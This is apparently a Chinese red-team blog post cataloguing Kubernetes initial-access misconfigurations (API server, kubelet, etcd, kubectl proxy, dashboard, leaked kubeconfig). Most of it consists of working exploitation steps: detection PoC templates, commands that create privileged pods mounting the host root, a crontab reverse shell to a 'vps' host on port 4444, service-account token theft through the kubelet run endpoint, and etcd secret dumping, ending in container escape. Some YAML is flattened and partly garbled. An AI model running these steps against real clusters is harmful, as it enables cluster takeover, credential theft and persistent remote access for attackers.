运维 · 2023年9月23日 0

k8s初始入口漏洞汇总

Api server未授权访问

k8s的API Server 默认会开启两个端口:8080 和 6443。

如果运维人员配置不当,添加了—enable-skip-login选项,8080端口便可未授权访问

直接访问 8080 端口若返回可用的API 列表,则代表存在漏洞

Poc:

id: kubernetes-unauth
info: name: kubernetes Unauth author: mumu0215(https://github.com/mumu0215) severity: high
rules: r0: request: method: GET path: /api/v1/nodes expression: 'response.status == 200 && response.content_type.contains("application/json") expression: r0()

漏洞利用:

Kubectl -s 172.16.16.130:8080 get pods

接着在本机上新建个yaml文件用于创建容器,并将节点的根目录挂载到容器的 /mnt 目录

apiVersion: v1kind: Podmetadata:  name: testspec:  containers:  - image: nginx    name: test-container    volumeMounts:    - mountPath: /mnt      name: test-volume  volumes:  - name: test-volume    hostPath:      path: /
kubectl -s master的ip:8080 create -f test.yaml

执行命令:

旧:kubectl -s master的ip:8080 exec -it test /bin/sh

新:kubectl -s master的ip:8080 exec test -i -t – sh

接着可以写入反弹 shell 的定时任务或ssh公钥

echo -e "* * * * * root bash -i >& /dev/tcp/vps/4444 0>&1n" >> /mnt/etc/crontab


Api server 6443 匿名访问:

6443端口的利用要通过API Server的鉴权,直接访问会提示匿名用户鉴权失败

在实际情况中,一些集群由于鉴权配置不当,将”system:anonymous”用户绑定到”cluster-admin”用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。

kubectl create clusterrolebinding system:anonymous--clusterrole=cluster-admin  --user=system:anonymous

漏洞利用:

利用cdk工具通过”system:anonymous”匿名账号尝试登录

./cdk kcurl anonymous get "https://192.168.13.141:6443/api/v1/nodes"


创建特权容器:

./cdk_linux_amd64 kcurl anonymous post 'https://192.168.13.141:6443/api/v1/namespaces/default/pods?fieldManager=test-4444' '{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{},"name":"test-4444","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-4444","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}n"},"name":"test-4444","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-4444","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}'

连接该pod:

./kubectl --insecure-skip-tls-verify -s https://192.168.13.141:6443 --namespace=default exec -it test-4444 bash

/host挂载上去了 接下来就可以去逃逸

Kubelet未授权访问

Kubelet API 一般监听在2个端口:10250、10255。其中,10250端口是可读写的,10255是一个只读端口。

10250是 kubelet API 的 HTTPS 端口,在默认情况下,kubelet 监听的 10250 端口没有进行任何认证鉴权,导致通过这个端口可以对 kubelet 节点上运行的 pod 进行任何操作

开了鉴权的情况:

没开鉴权的情况:

Poc:

id: kubernetes-api-detect
info: name: Kubernetes API Detection author: notnotnotveg severity: informative
requests: - method: GET path: - "{{BaseURL}}/pods/" - "{{BaseURL}}:10250/pods/" - "{{BaseURL}}:10255/pods/" matchers: - type: word words: - "PodList" part: body

漏洞利用:

获取pod列表:

curl -sk https://192.168.13.142:10250/runningpods/|python3 -m json.tool

在对应的容器里执行命令

curl -k https://192.168.13.142:10250/run/{namespace}/{podName}/{appName} -d "cmd=whoami"

如果挂载到集群内容器的token具有创建pod的权限,就可以通过token访问集群的api创建特权容器,然后通过特权容器逃逸到宿主机,从而拥有集群节点的权限

获取token:

curl -k -XPOST "https://192.168.13.142:10250/run/default/test-4444/test-4444" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

连接apiserver:

kubectl --insecure-skip-tls-verify=true --server="https://192.168.13.141:6443" --token="eyJh...填token" get pods

之后和apiserver未授权访问的利用方式一样,创建特权容器,挂载目录逃逸

Etcd未授权访问

etcd组件默认监听2379端口:默认通过证书认证,主要存放节点的信息,如一些token和证书。

kubernetes的master会自动安装etcd v3(注意版本)用来存储数据,如果管理员进行了错误的配置,导致etcd未授权访问的情况,那么攻击者就可以从etcd中拿到kubernetes的认证鉴权token,从而接管集群。

poc:

id: etcd-unauth
info: name: ETCD Unauth author: j4ckzh0u(https://github.com/j4ckzh0u) severity: high
set: r1: randomLowercase(32) r2: randomLowercase(32) r3: randomLowercase(32)rules: r0: request: method: PUT path: /v2/keys/{{r1}}?dir=true expression: response.status == 201 r1: request: method: PUT path: /v2/keys/{{r1}}/{{r2}}?prevExist=false headers: Content-Type: application/x-www-form-urlencoded body: value={{r3}} expression: response.status == 201 r2: request: method: GET path: /v2/keys/{{r1}}/{{r2}}?quorum=false&recursive=false&sorted=false expression: response.status == 200 && response.body.bcontains(bytes(r3))expression: r0() && r1() && r2()

探测是否存在未授权访问:

./etcdctl --endpoints=https://192.168.13.141:2379 get / --prefix --keys-only

默认都需要配合证书才能访问:(证书在master的/etc/kubernetes/pki/etcd/下)

export ETCDCTL_CERT=/root/ShareDir/share/peer.crtexport ETCDCTL_CACERT=/root/ShareDir/share/ca.crtexport ETCDCTL_KEY=/root/ShareDir/share/peer.key

查看k8s的secrets:

./etcdctl --endpoints=https://192.168.13.141:2379 get / --prefix --keys-only|grep /secrets/

读取service account token

./etcdctl --endpoints=https://192.168.13.141:2379 get / --prefix --keys-only|grep /secrets/kube-system/clusterrole
./etcdctl --endpoints=https://192.168.13.141:2379 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-mwqq9

之后就通过token访问API-Server,获取集群的权限:

./kubectl --insecure-skip-tls-verify -s https://192.168.13.141:6443 --token="eyJhb..." -n kube-system get pods

之后和apiserver未授权访问的利用方式一样,创建特权容器,挂载目录逃逸

(如果服务器启用了https,需要加上两个参数忽略证书校验 –insecure-transport –insecure-skip-tls-verify)

Kubectl Proxy

当运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy,通过Kubectl Proxy可以直接访问k8s集群

漏洞利用:

端口扫描master,扫到proxy端口

直接访问k8s集群

./kubectl -s http://192.168.13.141:8008 get pods -n kube-system

Kubernetes Dashboard未授权访问

dashboard是Kubernetes官方推出的控制Kubernetes的图形化界面.在Kubernetes配置不当导致dashboard未授权访问漏洞的情况下,通过dashboard可以控制整个集群。

漏洞利用:

访问即可:https://172.16.16.132:30444/#/login

通过点击 Skip 进dashboard 默认是没有操作集群的权限的,因为 Kubernetes 使RBAC(Role-based access control) 机制进⾏⾝份认证和权限管理,不同的 serviceaccount 拥有不同的集群权限。进 dashboard 实际上使的是 Kubernetes-dashboard 这个ServiceAccount,如果此时该 ServiceAccount 没有配置特殊的权限,是默认没有办法达到控制集群任意功能的程度的。如果为 Kubernetes-dashboard 绑定 cluster-admin 这个 ClusterRole,就可以拥有权限

创建pod:

命令

之后就可以通过挂载目录逃逸了

K8s Config文件泄露

Master搭好的时候 会提示配置k8s config文件

一般是export KUBECONFIG=/etc/kubernetes/admin.conf

或mkdir -p $HOME/.kube

sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config

sudo chown $(id -u):$(id -g) $HOME/.kube/config

这个config文件如果发生泄露,就可以用该文件操作集群,从而接管所有容器。

漏洞利用:

Webshell、github泄露等方式获得conf文件:

利用conf连接master:

./kubectl -s https://192.168.13.141:6443 --insecure-skip-tls-verify --kubeconfig /root/ShareDir/share/admin.conf -n kube-system get pods

之后便可以create -f创建特权容器进行逃逸

如有侵权,请联系删除

好文推荐

红队打点评估工具推荐
干货|红队项目日常渗透笔记
实战|后台getshell+提权一把梭
一款漏洞查找器(挖漏洞的有力工具)
神兵利器 | 附下载 · 红队信息搜集扫描打点利器
神兵利器 | 分享 直接上手就用的内存马(附下载)
推荐一款自动向hackerone发送漏洞报告的扫描器

关注我,学习网络安全不迷路